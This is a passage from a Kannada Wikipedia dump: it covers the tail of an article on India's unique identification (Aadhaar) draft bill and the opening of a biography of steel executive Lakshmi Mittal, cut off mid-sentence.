ಉದ್ದೇಶಿತ ಕರಡು ಮಸೂದೆಯಲ್ಲಿ ಅವಕಾಶ ಇದೆ. * ಒಂದೊಮ್ಮೆ ಪ್ರಾಧಿಕಾರದ ಕೆಲಸ ವಹಿಸಿಕೊಂಡ ಕಂಪನಿಯೇ ಈ ಕೃತ್ಯ ಎಸಗಿದರೆ ಒಂದು ಲಕ್ಷದ ವರೆಗೆ ದಂಡ ವಿಧಿಸಲು ಅವಕಾಶ ಇದೆ. ಮಾಹಿತಿ ಬ್ಯಾಂಕ್‌ಗೆ ಅಕ್ರಮ ಪ್ರವೇಶ ಮಾಡಲು ಯತ್ನಿಸಿದರೆ ಅಂತಹವರಿಗೆ ಮೂರು ವರ್ಷದ ವರೆಗೆ ಜೈಲು ಶಿಕ್ಷೆ ಅಥವಾ ಒಂದು ಕೋಟಿ ರೂಪಾಯಿವರೆಗೆ ದಂಡ ವಿಧಿಸಲು ಅವಕಾಶ ಇದೆ. * ಆದರೆ ನಿಗದಿತ ನ್ಯಾಯಾಲಯಗಳು ಇಂತಹ ಮಾಹಿತಿ ಕೇಳಿದರೆ ಅದನ್ನು ನೀಡಬಹುದಾಗಿದೆ. ರಾಷ್ಟ್ರದ ಹಿತದೃಷ್ಟಿಯಿಂದ ಮಾತ್ರ ವೈಯಕ್ತಿಕ ವಿಷಯಗಳ ಮಾಹಿತಿಯನ್ನು ನೀಡಲಾಗುವುದು. ಅದೂ ಸಂಬಂಧಿಸಿದ ಇಲಾಖೆಯ ಸಚಿವಾಲಯದಿಂದ ಅನುಮತಿ ಪಡೆದರೆ ಮಾತ್ರವೇ ಮಾಹಿತಿ ನೀಡಲಾಗುವುದು. * ಕರಡು ಮಸೂದೆ ಬಗ್ಗೆ ಸಾರ್ವಜನಿಕರಿಂದ ಬರುವ ಅಭಿಪ್ರಾಯಗಳನ್ನು ಆಧರಿಸಿ ಸಂಸತ್‌ನ ಮುಂಗಾರು ಅಧಿವೇಶನದಲ್ಲಿ ಮಂಡಿಸಲಾಗುವುದು ಎಂದೂ ಅಧಿಕಾರಿಗಳು ತಿಳಿಸಿದ್ದಾರೆ.ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಯನ್ನು ಮೊದಲಿಗೆ ೨೦೧೦ ರ ಆಗಸ್ಟ್ ಮತ್ತು ೨೦೧೧ ರ ಫೆಬ್ರುವರಿ ನಡುವೆ ಸಾರ್ವಜನಿಕರಿಗೆ ನೀಡಲಾಗುವುದು. ಮುಂದಿನ ನಾಲ್ಕು ವರ್ಷಗಳಲ್ಲಿ ಆರು ಕೋಟಿ ಜನರಿಗೆ ಈ ಸಂಖ್ಯೆಯನ್ನು ನೀಡುವ ಉದ್ದೇಶ ಪ್ರಾಧಿಕಾರಕ್ಕೆ ಇದೆ. == ಇವನ್ನೂ ಗಮನಿಸಿ == * ರಾಷ್ಟ್ರೀಯ ಗುರುತಿನ ಸಂಖ್ಯೆ * ಸಾಮಾಜಿಕ ಭದ್ರತೆ ಸಂಖ್ಯೆ * ಬಹು-ಉದ್ದೇಶದ ರಾಷ್ಟ್ರೀಯ ಗುರುತಿನ ಕಾರ್ಡ್ * ಭಾರತದ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಪ್ರಾಧಿಕಾರ ==ವಿಶೇಷ ಮಾಹಿತಿ== *[https://www.prajavani.net/stories/national/india-on-the-way-towards-police-state-712960.html ಪೊಲೀಸ್‌ ರಾಜ್ಯದತ್ತ ಭಾರತದ ನಡೆ: 'ಆಧಾರ್'ನಿಂದ ಜನರ ಸ್ವಾತಂತ್ರ್ಯ ಮೊಟಕು;ಕುಮಾರ ಸಂಭವ ಶ್ರೀವಾಸ್ತವ Updated: 18 ಮಾರ್ಚ್ 2020,] == ಬಾಹ್ಯ ಕೊಂಡಿಗಳು == * http://uidai.gov.in/ * [http://uidnumber.org UIDಯನ್ನು ಪ್ರವರ್ತಿಸುವುದಕ್ಕೆ ಸಂಬಂಧಿಸಿದಂತೆ UIDnumber.org] * [http://news.bbc.co.uk/2/hi/south_asia/8119070.stm ಇಂಡಿಯಾ ಟು ಲಾಂಚ್‌ 'ID ಕಾರ್ಡ್‌' ಸ್ಕೀಮ್‌] * [http://in.news.yahoo.com/48/20090626/804/tnl-govt-downloads-infosys-nilekani-he-s.html ಗೌರ್ನ್‌ಮೆಂಟ್‌ ಡೌನ್‌ಲೋಡ್ಸ್‌ ಇನ್ಫೋಸಿಸ್‌ ನಿಲೇಕಣಿ, ಹೀ ಸೇಸ್‌ ಫಸ್ಟ್‌ ಯುನಿಕ್‌ ID ಕಾರ್ಡ್‌ ವಿತಿನ್‌ 2 ಇಯರ್ಸ್‌] * [http://www.business-standard.com/india/news/what-nilekani-will-logto-inid-project/362160/ ವಾಟ್‌ ನಿಲೇಕಣಿ ವಿಲ್‌ ಲಾಗ್‌ ಆನ್‌ ಟು ಇನ್‌ ದಿ ID ಪ್ರಾಜೆಕ್ಟ್‌] * [http://prsindia.org/index.php?name=Sections&amp;action=bill_details&amp;id=6&amp;bill_id=1196&amp;category=46&amp;parent_category=1 ಕರಡು UIDAI ಮಸೂದೆ] * [http://www.uins.de www.uins.de] ==ಉಲ್ಲೇಖಗಳು== {{Reflist}} [[ವರ್ಗ:ಭಾರತ ಸರ್ಕಾರ]] kks29c70hbtz6rubbtvg8vbuyb4xcpq ಲಕ್ಷ್ಮಿ ಮಿತ್ತಲ್‌ 0 27319 1116433 1106786 2022-08-23T12:27:14Z InternetArchiveBot 69876 Rescuing 2 sources and tagging 0 as dead.) #IABot (v2.0.9 wikitext text/x-wiki {{Infobox person | name = Lakshmi Mittal | image = Lakshmimittal22082006.jpg | image_size = | birth_date = {{Birth date and age|1950|06|15|df=y}} | birth_place = [[Sadulpur]], [[Rajasthan, India]] | citizenship = India | residence = [[London]], United Kingdom | ethnicity = Indian | occupation = [[Chairman]] & [[CEO]] of [[ArcelorMittal]] | alma_mater = [[St. Xavier's College, Calcutta]]<ref>{{cite web |url=http://www.arcelormittal.com/index.php?lang=en&page=256&width=420&height=500&tb0=1 |title=Chairman of the Board of Directors and CEO |publisher=Arcelormittal.com |date=1950-06-15 |accessdate=2010-09-07 |archive-date=22 ಆಗಸ್ಟ್ 2011 |archive-url=https://web.archive.org/web/20110822011742/http://www.arcelormittal.com/index.php?lang=en&page=256&width=420&height=500&tb0=1 |url-status=dead }}</ref> | spouse = | country = India | children = Vanishaa Mittal<br>[[Aditya Mittal]] | networth = {{Gain}}US$28.7 [[1,000,000,000 (number)|billion]] (2010)<ref name="forbes1">[http://www.forbes.com/profile/Lakshmi-Mittal Forbes topic page on Lakshmi Mittal] Forbes.com. Retrieved April 2010.</ref> | religion = [[Hinduism]] }} '''ಲಕ್ಷ್ಮಿನಾರಾಯಣ್‌ (ಲಕ್ಷ್ಮಿನಿವಾಸ್‌) ಮಿತ್ತಲ್‌''' ({{lang-raj|लक्ष्मी मित्तल}}; (ಜನನ: 15 ಜೂನ್‌ 1950)<ref>{{cite web | url=http://www.arcelormittal.com/index.php?lang=en&page=256&width=420&height=500&tb0=1 | title=Lakshmi N. Mittal / Chairman of the Board of Directors and CEO | publisher=Arcelor Mittal | accessdate=7 October 2010 | archive-date=22 ಆಗಸ್ಟ್ 2011 | archive-url=https://web.archive.org/web/20110822011742/http://www.arcelormittal.com/index.php?lang=en&page=256&width=420&height=500&tb0=1 | url-status=dead }}</ref> ಭಾರತೀಯ ಮೂಲದವರು {{nowrap|[[Business magnate|steel tycoon]]}} ಹಾಗೂ ವಿಶ್ವದ ಅತಿದೊಡ್ಡ ಉಕ್ಕು ತಯಾರಿಕೆಯ ಉದ್ದಿಮೆಯಾದ [[ಆರ್ಸೆಲೊರ್ ಮಿಟ್ಟಲ್|ಅರ್ಸೆಲರ್‌ಮಿತ್ತಲ್]]‌ನ ಅಧ್ಯಕ್ಷ ಹಾಗೂ ಕಾರ್ಯಕಾರಿ ಮುಖ್ಯಾಧಿಕಾರಿ (ಸಿಇಒ).<ref name="forbes1" /> ಅಧಿಕೃತ ಪ್ರಕಟಣೆಯಂತೆ 2010ರ ಜುಲೈ ತಿಂಗಳಲ್ಲಿ, ಲಕ್ಷ್ಮಿ ಮಿತ್ತಲ್‌ [[ಯುರೋಪ್]]‌ನಲ್ಲಿ ಅತಿ ಶ್ರೀಮಂತ ವ್ಯಕ್ತಿ ಹಾಗೂ ವಿಶ್ವದಲ್ಲಿ ಐದನೆಯ ಅತಿ ಶ್ರೀಮಂತ ವ್ಯಕ್ತಿ ಎನಿಸಿದ್ದಾರೆ.ಈ ಬಗ್ಗೆ 2010ರ ಜುಲೈ ತಿಂಗಳಲ್ಲಿ ಅಧಿಕೃತ ಮಾಹಿತಿ ಹೊರಬಿದ್ದಿದೆ.ಇವರ ವೈಯಕ್ತಿಕ ಸಂಪತ್ತು 28.7 ಶತಕೋಟಿ ಅಮೆರಿಕನ್‌ ಡಾಲರ್‌ಗಳು ಆಗಿದೆ. (19.3 ಶತಕೋಟಿ ಬ್ರಿಟಿಷ್‌ ಪೌಂಡ್‌ಗಳು).<ref name="forbes1" /> ''ಫೈನಾನ್ಷಿಯಲ್‌ ಟೈಮ್ಸ್'' ‌ ಪತ್ರಿಕೆಯು 2006ರಲ್ಲಿ ಲಕ್ಷ್ಮಿ ಮಿತ್ತಲ್‌ಗೆ ವರ್ಷದ ವ್ಯಕ್ತಿ ಪ್ರಶಸ್ತಿ ನೀಡಿ ಗೌರವಿಸಿತು. ''ಟೈಮ್‌'' ಪತ್ರಿಕೆಯ,2007ರ ಮೇ ತಿಂಗಳಿನ ಸಂಚಿಕೆಯಲ್ಲಿ 100 ಅತಿ ಪ್ರಭಾವಿ ವ್ಯಕ್ತಿಗಳಲ್ಲಿ ಲಕ್ಷ್ಮಿ ಮಿತ್ತಲ್‌ ಸಹ ಒಬ್ಬರು ಎಂದು ಪರಿಗಣಿಸಿತು. ಲಕ್ಷ್ಮಿ ಮಿತ್ತಲ್‌ ಅವರು ಭಾರತೀಯ ಪ್ರಧಾನಿ ನೇತೃತ್ವದ ಸಾಗರೋತ್ತರ ಭಾರತೀಯರ ಅನಿವಾಸಿ ಭಾರತೀಯ ಜಾಗತಿಕ ಸಲಹಾ ಪರಿಷತ್‌ ಸದಸ್ಯರಾಗಿದ್ದಾರೆ.<ref>{{cite web |url=http://moia.gov.in/writereaddata/pdf/PM_Global_Council_Notification_2.1.09.pdf |title=Full page fax print |format=PDF |date= |accessdate=2010-10-28 |archive-date=11 ಮೇ 2011 |archive-url=https://web.archive.org/web/20110511232719/http://moia.gov.in/writereaddata/pdf/PM_Global_Council_Notification_2.1.09.pdf |url-status=dead }}</ref> ಗೋಲ್ಡ್ಮನ್‌ ಸ್ಯಾಚ್ಸ್‌, ಇಎಡಿಎಸ್‌ ಹಾಗೂ ಐಸಿಐಸಿಐ ಬ್ಯಾಂಕ್‌<ref>ಐಎಚ್‌ಟಿ (2008)[https://web.archive.org/web/20080705165325/http://www.iht.com/articles/2008/06/29/business/mittal.php ಮಿತ್ತಲ್‌ ಜಾಯಿನ್ಸ್‌ ಗೋಲ್ಡ್‌ಮನ್‌ ಸಾಚ್ಸ್‌ ಬೋರ್ಡ್‌]. 2008ರ ನವೆಂಬರ್‌ 10ರಂದು ಮರುಪಡೆಯಲಾಯಿತು.</ref> ಸಂಸ್ಥೆಗಳಲ್ಲಿ ನಿರ್ದೇಶಕ ಹಾಗೂ ವಿಶ್ವ ಉಕ್ಕು ಸಂಘದ ಹಾಲಿ ಉಪಾಧ್ಯಕ್ಷರಾಗಿದ್ದಾರೆ. ಕಝಕ್‌ಸ್ತಾನದಲ್ಲಿರುವ ವಿದೇಶಿ ಹೂಡಿಕೆ ಪರಿಷತ್‌, ದಕ್ಷಿಣ ಆಫ್ರಿಕಾದಲ್ಲಿರುವ ಅಂತರರಾಷ್ಟ್ರೀಯ ಹೂಡಿಕೆ ಪರಿಷತ್‌, ವಿಶ್ವ ಆರ್ಥಿಕ ವೇದಿಕೆಯ ಅಂತರರಾಷ್ಟ್ರೀಯ ವಾಣಿಜ್ಯ ಪರಿಷತ್‌ ಹಾಗೂ ಅಂತರರಾಷ್ಟ್ರೀಯ ಕಬ್ಬಿಣ ಮತ್ತು ಉಕ್ಕು ಸಂಸ್ಥೆಯ ಕಾರ್ಯಕಾರಿ ಸಮಿತಿಗಳಲ್ಲಿ ಮಿತ್ತಲ್‌ ಸದಸ್ಯರಾಗಿದ್ದಾರೆ.<ref>ಇಎಡಿಎಸ್‌ ಎನ್‌ವಿ (2009)[http://www.eads.com/1024/en/corporate_governance/Board_of_Directors/members/Mittal.html ಇಎಡಿಎಸ್‌ ಎನ್‌.ವಿ.]{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }}. 2009ರ ಜೂನ್ 30ರಂದು ಮರುಸಂಪಾದಿಸಲಾಗಿದೆ.</ref> ಕೆಲ್ಲೊಗ್‌ ವ್ಯವಸ್ಥಾಪನಾ ಶಿಕ್ಷಣ ಸಂಸ್ಥೆಯ ಸಲಹಾ ಮಂಡಳಿಯಲ್ಲಿ ಅವರು ಸದಸ್ಯರಾಗಿದ್ದಾರೆ. ಅಲ್ಲದೆ, ಕೋಲ್ಕತ್ತಾದ ಸೇಂಟ್‌ ಕ್ಸೇವಿಯರ್ಸ್‌ ಕಾಲೇಜ್‌ ಹಳೆಯ ವಿದ್ಯಾರ್ಥಿಗಳ ಸಂಘದ ಲಂಡನ್‌ ವಿಭಾಗದ ಸದಸ್ಯರಾಗಿದ್ದಾರೆ. ಇಡೀ ವಿಶ್ವದ 6.8 ಶತಕೋಟಿಯಷ್ಟು ಜನಸಂಖ್ಯೆಯಲ್ಲಿ, 68 ಜನ ಅತಿ ಶಕ್ತಿಶಾಲಿ ವ್ಯಕ್ತಿಗಳ ಪಟ್ಟಿಯಲ್ಲಿ ಮಿತ್ತಲ್‌ 44ನೆಯ ಸ್ಥಾನದಲ್ಲಿದ್ದಾರೆ. ವಿಶ್ವದಲ್ಲಿ ತಯಾರಾಗುವ ಪ್ರತಿ ಐದು ಕಾರ್‌ಗಳಲ್ಲಿ ಒಂದು, ಲಕ್ಷ್ಮಿ ಮಿತ್ತಲ್‌ ಸ್ವಾಮ್ಯದ ಸಂಸ್ಥೆ ತಯಾರಿಸುವ ಉಕ್ಕಿನಿಂದ ತಯಾರಿಸಲಾಗುತ್ತಿದೆ. ಅವರ ಪುತ್ರಿ ವನೀಶಾ ಮಿತ್ತಲ್‌ರ ವಿವಾಹವು ವಿಶ್ವದ ದಾಖಲಿತ ಇತಿಹಾಸದಲ್ಲೇ ಅತಿ ಅದ್ದೂರಿಯಾದ ವಿವಾಹ ಸಮಾರಂಭವಾಗಿತ್ತು.<ref>[http://www.forbes.com/wealth/powerful-people/list ಪ್ರಭಾವಶಾಲಿ ವ್ಯಕ್ತಿಗಳ ಪಟ್ಟಿ]</ref><ref>[http://www.forbes.com/2007/11/15/billionaires-mittal-hariri-biz-cx_1115heiresses_slide_2.html?thisspeed=20000&amp;boxes=custom ಫೋರ್ಬ್ಸ್‌ ಇನ್‌ ಪಿಕ್ಚರ್ಸ್‌: ದಿ 20 ಮೋಸ್ಟ್‌ ಇಂಟ್ರಿಗ್ವಿಂಗ್‌ ಬಿಲಿಯನೆಯರ್‌ ಹೇಯ್ರೆಸಸ್‌]</ref> ==ಆರಂಭಿಕ ಜೀವನ== [[ಭಾರತ]] ದೇಶದ [[ರಾಜಸ್ಥಾನ]] ರಾಜ್ಯದಲ್ಲಿರುವ ಚೂರೂ ಜಿಲ್ಲೆಯ ಸದುಲ್ಪುರ್‌ ಗ್ರಾಮದಲ್ಲಿ ಬೆಳೆದರು. ಲಕ್ಷ್ಮಿ ನಿವಾಸ್‌ ಮಿತ್ತಲ್‌ ರಾಜಸ್ಥಾನದ ಮಾರ್ವಾಡಿ ಉದ್ಯಮಿಗಳ ಕುಟುಂಬದಲ್ಲಿ ಜನಿಸಿದರು. ಅವರದ್ದು ಶ್ರೀಮಂತ ಭಾರತೀಯ ಉಕ್ಕು ಉದ್ದಿಮೆದಾರರ ಕುಟುಂಬ - ಅವರ ತಂದೆ ಮೋಹನ್ ಲಾಲ್ ಮಿತ್ತಲ್‌ ನಿಪ್ಪನ್‌ ಡೆನ್ರೊ ಇಸ್ಪಾಟ್‌ ಉದ್ದಿಮೆ ನಡೆಸುತ್ತಿದ್ದರು. ಭಾರತದಲ್ಲಿ 1990ರ ದಶಕದ ತನಕ, ಕುಟುಂಬದ ಮುಖ್ಯ ಆಸ್ತಿಪಾಸ್ತಿಗಳೆಂದರೆ ನಾಗಪುರದಲ್ಲಿರುವ ಉಕ್ಕಿನ ಹಾಳೆ ತಯಾರಿಸಲು ಬಳಸಲಾಗುವ ಶೀತಲ-ಅಚ್ಚು ಗಿರಣಿ ಹಾಗೂ ಪುಣೆಯಲ್ಲಿರುವ ಮಿಶ್ರಿತ ಲೋಹ ಉಕ್ಕು ತಯಾರಿಕಾ ಉದ್ದಿಮೆಗಳಿದ್ದವು. ಇಂದು, ಮುಂಬಯಿಯ ಸನಿಹವಿರುವ ವಿಶಾಲ ಏಕೀಕೃತ ಉಕ್ಕು ತಯಾರಿಕಾ ಘಟಕ ಸೇರಿದಂತೆ, ಕುಟುಂಬದ ವಹಿವಾಟನ್ನು ಲಕ್ಷ್ಮಿನಿವಾಸ್‌ರ ಸಹೋದರರಾದ ಪ್ರಮೋದ್‌ ಮತ್ತು ವಿನೋದ್‌ ನಡೆಸುತ್ತಿದ್ದ್ದಾರೆ. ಆದರೆ ಲಕ್ಷ್ಮಿನಿವಾಸ್‌ ಈ ಉದ್ದಿಮೆಗಳೊಂದಿಗೆ ಯಾವುದೇ ಸಂಬಂಧ ಹೊಂದಿಲ್ಲ.<ref>{{cite web |url=http://www.managementtoday.co.uk/search/article/421099/lakshmi-mittals-ring-steel/ |title=Search leadership, business and management news and news analysis from MT and Management Today magazine |publisher=Managementtoday.co.uk |date=2010-09-03 |accessdate=2010-09-07 }}{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</ref> ಭಾರತದಲ್ಲಿರುವ ತಮ್ಮ ಕುಟುಂಬದ ಉಕ್ಕು ತಯಾರಿಕೆಯ ಕೈಗಾರಿಕೆಯಲ್ಲಿ ಕೆಲಸ ಮಾಡುವುದರೊಂದಿಗೆ ಮಿತ್ತಲ್‌ ತಮ್ಮ ವೃತ್ತಿ ಆರಂಭಿಸಿದರು. ಆಗ 1976ರಲ್ಲಿ, ತಮ್ಮ ಕುಟುಂಬವು ತನ್ನದೇ ಆದ ಉಕ್ಕಿನ ಉದ್ದಿಮೆ ಸ್ಥಾಪಿಸಿದಾಗ, ಅವರು ಅದರ ಅಂತರರಾಷ್ಟ್ರೀಯ ಅಂಗಸಂಸ್ಥೆಯ ವಿಭಾಗವನ್ನು ಸ್ಥಾಪಿಸ ಹೊರಟರು. [[ಇಂಡೋನೇಷ್ಯಾ|ಇಂಡೊನೇಷ್ಯಾ]]ದಲ್ಲಿ ಪಾಳುಬಿದ್ದ ಒಂದು ಉಕ್ಕು ತಯಾರಿಕಾ ಘಟಕವೊಂದನ್ನು ಖರೀದಿಸುವ ಮೂಲಕ ಅಂತರರಾಷ್ಟ್ರೀಯ ಈ ವಿಭಾಗ ಆರಂಭವಾಯಿತು. ಕೆಲ ಕಾಲದ ನಂತರ, ಸ್ಥಿತಿವಂತ ಹಣಕಾಸು ವಹಿವಾಟುದಾರರ ಪುತ್ರಿ ಉಷಾರನ್ನು ಲಕ್ಷ್ಮಿನಿವಾಸ್‌ ವಿವಾಹವಾದರು. ತಮ್ಮ ತಂದೆ, ತಾಯಿ ಮತ್ತು ಸಹೋದರರೊಂದಿಗಿನ ತೀವ್ರ ಭಿನ್ನಾಭಿಪ್ರಾಯಗಳ ಪರಿಣಾಮವಾಗಿ, ತಮ್ಮದೇ ಆದ ಎಲ್‌ಎನ್‌ಎಂ ಗ್ರೂಪ್‌ ವಾಣಿಜ್ಯ ಉದ್ದಿಮೆಯನ್ನು 1976ರಲ್ಲಿ ಸ್ಥಾಪಿಸಿದರು. ಅಂದಿನಿಂದಲೂ ಈ ಉದ್ದಿಮೆ ವ್ಯಾಪಕವಾಗಿ ಬೆಳೆಯಲು ಲಕ್ಷ್ಮಿನಿವಾಸ್‌ ಕಾರಣರಾಗಿದ್ದಾರೆ. ಮಿತ್ತಲ್‌ ಸ್ಟೀಲ್‌ ಇಂದು ಜಾಗತಿಕ ಮಟ್ಟದಲ್ಲಿ ಉಕ್ಕು ತಯಾರಿಕಾ ಉದ್ದಿಮೆಯಾಗಿದೆ. ಹದಿನಾಲ್ಕು ದೇಶಗಳಲ್ಲಿ ಕಾರ್ಯಾಲಯಗಳು ಮತ್ತು ತಯಾರಿಕಾ ಘಟಕಗಳಿವೆ. ಲಕ್ಷ್ಮಿನಿವಾಸ್‌ ಮಿತ್ತಲ್‌ ಏಕೀಕೃತ ಸಣ್ಣ-ಪ್ರಮಾಣದ ಉಕ್ಕು ತಯಾರಿಕಾ ಘಟಕಗಳ ಅಭಿವೃದ್ಧಿ, ಹಾಗೂ, ಉಕ್ಕು ತಯಾರಿಕೆಯ ಬದಲಿಕೆಗೆ ನೇರ ಸಂಕುಚಿತ ಕಬ್ಬಿಣ (ಡಿಆರ್‌ಐ) ಎಂಬ ತುಣುಕು ಬದಲಿ ವ್ಯವಸ್ಥೆಯ ಬಳಕೆಯ ಪ್ರವರ್ತಕರಾದರು. ಹೀಗೆ ಜಾಗತಿಕ ಉಕ್ಕು ಕೈಗಾರಿಕೆಯ ಏಕೀಕರಣ ಪ್ರಕ್ರಿಯೆ ಆರಂಭಿಸಿದರು. ಮಿತ್ತಲ್‌ ಸ್ಟೀಲ್‌ ವಿಶ್ವದಲ್ಲೇ ಅತಿದೊಡ್ಡ ಉಕ್ಕು ತಯಾರಿಕಾ ಉದ್ದಿಮೆಯಾಗಿದೆ. ಆಗ 2004ರಲ್ಲಿ ಇದು 42.1 ದಶಲಕ್ಷ ಟನ್‌ಗಳಷ್ಟು ಉಕ್ಕನ್ನು ತಯಾರಿಸಿ ಸಾಗಿಸಿ, 22 ಶತಕೋಟಿ ಅಮೆರಿಕನ್‌ ಡಾಲರ್‌ಗಳಿಗಿಂತಲೂ ಹೆಚ್ಚು ಲಾಭಾಂಶ ಗಳಿಸಿತ್ತು. ಲಕ್ಷ್ಮಿನಿವಾಸ್‌ ಮಿತ್ತಲ್‌ರಿಗೆ 1996ರಲ್ಲಿ ನ್ಯೂಸ್ಟೀಲ್‌ನಿಂದ 'ವರ್ಷದ ಉಕ್ಕು ತಯಾರಕ'; 1998ರಲ್ಲಿ ಅತ್ಯುತ್ತಮ ವ್ಯಾಪಾರಿ ದೃಷ್ಟಿಕೋನ, ವ್ಯಾಪಾರಿ ಮನೋಭಾವ, ನಾಯಕತ್ವ ಹಾಗೂ ಜಾಗತಿ ಉಕ್ಕು ಅಭಿವೃದ್ಧಿ ಕ್ಷೇತ್ರದಲ್ಲಿ ಸಂಪಾದಿಸಿದ ಯಶಸ್ಸನ್ನು ಗಮನಿಸಿದ ಮೆಟಲ್‌ ಮಾರ್ಕೆಟ್‌ ಅಂಡ್‌ ಪೇಯ್ನ್‌ವೆಬರ್ಸ್‌ ವರ್ಲ್ಡ್‌ ಸ್ಟೀಲ್‌ ಡೈನಾಮಿಕ್ಸ್‌ನಿಂದ 'ವಿಲ್ಲಿ ಕೋರ್ಫ್‌ ಸ್ಟೀಲ್‌ ವಿಷನ್‌ ಪ್ರಶಸ್ತಿ'; ಹಾಗೂ 2004ರಲ್ಲಿ ''ಫಾರ್ಚೂನ್'' ‌ ಪತ್ರಿಕೆಯಿಂದ '2004ರ ವರ್ಷದ ಯುರೋಪಿನ ಉದ್ದಿಮೆದಾರ' ಪ್ರಶಸ್ತಿಗಳು ಲಭಿಸಿವೆ.‌ ಮಿತ್ತಲ್‌,2002ರಲ್ಲಿ ಅಂದಿನ ಬ್ರಿಟಿಷ್‌ ಪ್ರಧಾನಿ ಟೋನಿಬ್ಲೇರ್‌ರೊಂದಿಗಿನ ರಾಜಕೀಯ ವಿವಾದದಲ್ಲಿ ಶಾಮೀಲಾಗಿದ್ದರು. ಟೋನಿಬ್ಲೇರ್‌ರ ಲೇಬರ್‌ ಪಾರ್ಟಿಗೆ ಅವರು ದೇಣಿಗೆ ನೀಡಿದ್ದ ಪರಿಣಾಮವಾಗಿ, ಮಿತ್ತಲ್‌ ಪರ ವಾಣಿಜ್ಯ ವ್ಯಹಹಾರ ಕೊಡಿಸಲು ಬ್ಲೇರ್‌ ಮಧ್ಯಪ್ರವೇಶಿಸಿದ್ದರು. ಅವರು ಲೇಬರ್‌ ಪಾರ್ಟಿಗೆ ಎರಡು ದಶಲಕ್ಷ ಪೌಂಡ್‌ಗಳಷ್ಟು ದೇಣಿಗೆ ನೀಡಿದರು ಎಂದು ಆನಂತರ ಪ್ರಕಟಿಸಲಾಯಿತು. ತಮ್ಮ ಹುಟ್ಟೂರಿನಲ್ಲೂ ಸಹ ಧಾರ್ಮಿಕ,ದಾನ ನೀಡುವ ಕಾರ್ಯಚಟುವಟಿಕೆಗಳಲ್ಲಿನ ಸಹಾಯಾರ್ಥ ಚಟುವಟಿಕೆಗಳಲ್ಲಿಯೂ ಅವರು ಸಕ್ರಿಯರಾಗಿದ್ದಾರೆ. ==ಕುಟುಂಬ== ಲಕ್ಷ್ಮಿನಿವಾಸ್‌ ಮಿತ್ತಲ್‌ರ ತಂದೆ ಮೋಹನ್‌ಲಾಲ್‌ ಮಿತ್ತಲ್ ರಿಗೆ ಪ್ರಮೋದ್‌ ಮಿತ್ತಲ್‌ ಎಂಬ ಸಹೋದರರಿದ್ದಾರೆ. ಆದಿತ್ಯ ಮಿತ್ತಲ್‌ ಅರ್ಸೆಲರ್‌ಮಿತ್ತಲ್‌ ಉದ್ದಿಮೆಯಲ್ಲಿ ಪ್ರಮುಖ ಹಣಕಾಸು ಅಧಿಕಾರಿಯಾಗಿ (ಸಿಎಫ್‌ಒ) ಆಗಿದ್ದಾರೆ. ವನೀಷಾ ಮಿತ್ತಲ್‌ ಲಕ್ಷ್ಮಿನಿವಾಸ್‌ರ ಪುತ್ರಿ. ==ಲಂಡನ್ 2012 ಒಲಿಂಪಿಕ್ಸ್‌ ಕ್ರೀಡಾಕೂಟ ಮತ್ತು ಪ್ಯಾರಾಲಿಂಪಿಕ್‌ ಕ್ರೀಡಾಕೂಟಗಳು== ಅಧ್ಯಕ್ಷ (ಮುಖ್ಯಸ್ಥ ಮತ್ತು ಸಿಇಒ) ಲಕ್ಷ್ಮಿನಿವಾಸ್‌ ಮಿತ್ತಲ್‌ ನೇತೃತ್ವದಲ್ಲಿನ ಅರ್ಸೆಲರ್‌ಮಿತ್ತಲ್‌, 19.1 ದಶಲಕ್ಷ ಪೌಂಡ್‌ ಮೌಲ್ಯದ ಯೋಜನೆಯಲ್ಲಿ ಸುಮಾರು 16 ದಶಲಕ್ಷ ಪೌಂಡ್‌ಗಳಷ್ಟು ಧನಸಹಾಯ ಮಾಡಲಿದೆ. ಉಳಿದ 3.1 ದಶಲಕ್ಷ ಪೌಂಡ್‌ಗಳಷ್ಟು ನೆರವನ್ನು ಲಂಡನ್‌ ಅಭಿವೃದ್ಧಿ ನಿಯೋಗವು ಸಂಗ್ರಹಿಸಿ ಹೂಡಲಿದೆ. ಆದ್ದರಿಂದ, ಇದು ಗಮನಾರ್ಹ ಸಾಂಸ್ಕೃತಿ ಹೂಡಿಕೆ ಅಷ್ಟೇ ಅಲ್ಲ, ಇದು ಯಾವುದೇ ಒಲಿಂಪಿಕ್‌ ಕ್ರೀಡಾಕೂಟವೊಂದಕ್ಕೆ ಅತಿದೊಡ್ಡ, ಅವಿಸ್ಮರಣೀಯ ಕಾರ್ಯವೇ ಆಗಿದೆ. ಜೊತೆಗೆ, ಪೂರ್ವ ಲಂಡನ್‌ ಪ್ರದೇಶದ ಸುದೀರ್ಘ ಯೋಜನೆಗಳ ಅನುಷ್ಟಾನ ಮತ್ತು ಪುನರಾಭಿವೃದ್ಧಿಗಾಗಿ ಗಮನಾರ್ಹ ಹಣಕಾಸು ನೆರವನ್ನೂ ನೀಡಲಿದೆ.<ref name="arcelormittal49">ಅರ್ಸೆಲರ್‌ಮಿತ್ತಲ್‌ (2010)[http://www.arcelormittal.com/index.php?lang=en&amp;page=49&amp;tb0=408&amp;tblng=1 ಅರ್ಸೆಲರ್‌ಮಿತ್ತಲ್‌] {{Webarchive|url=https://web.archive.org/web/20111202174427/http://www.arcelormittal.com/index.php?lang=en&page=49&tb0=408&tblng=1 |date=2 ಡಿಸೆಂಬರ್ 2011 }}. 2010ರ ಏಪ್ರಿಲ್‌ 3ರಂದು ಮರುಪಡೆಯಲಾಯಿತು.</ref> ವಿಶ್ವದಲ್ಲಿ ಅತಿ ದೊಡ್ಡ ವಿನ್ಯಾಸ ನಿಯೋಗವಾಗಿರುವ ಅರ್ಸೆಲರ್‌ಮಿತ್ತಲ್‌ ಆರ್ಬಿಟ್‌ ಅತ್ಯಾಧುನಿಕ ತಂತ್ರವೈಜ್ಞಾನಿಕ ಮತ್ತು ವಾಸ್ತುಶೈಲಿಯ ತಂತ್ರಗಳನ್ನು ಬಳಸಿ ಯೋಜನೆಯಲ್ಲಿ ತೊಡಗಲಿದೆ. ಅರ್ಸೆಲರ್‌ಮಿತ್ತಲ್‌ ಒದಗಿಸಿದ ಉಕ್ಕಿನಿಂದ ನಿರ್ಮಿಸಲಾದ ಈ ನಿರ್ಮಾಣವು, ನಾಳಾಕಾರದ ಉಕ್ಕಿನ ಸತತ 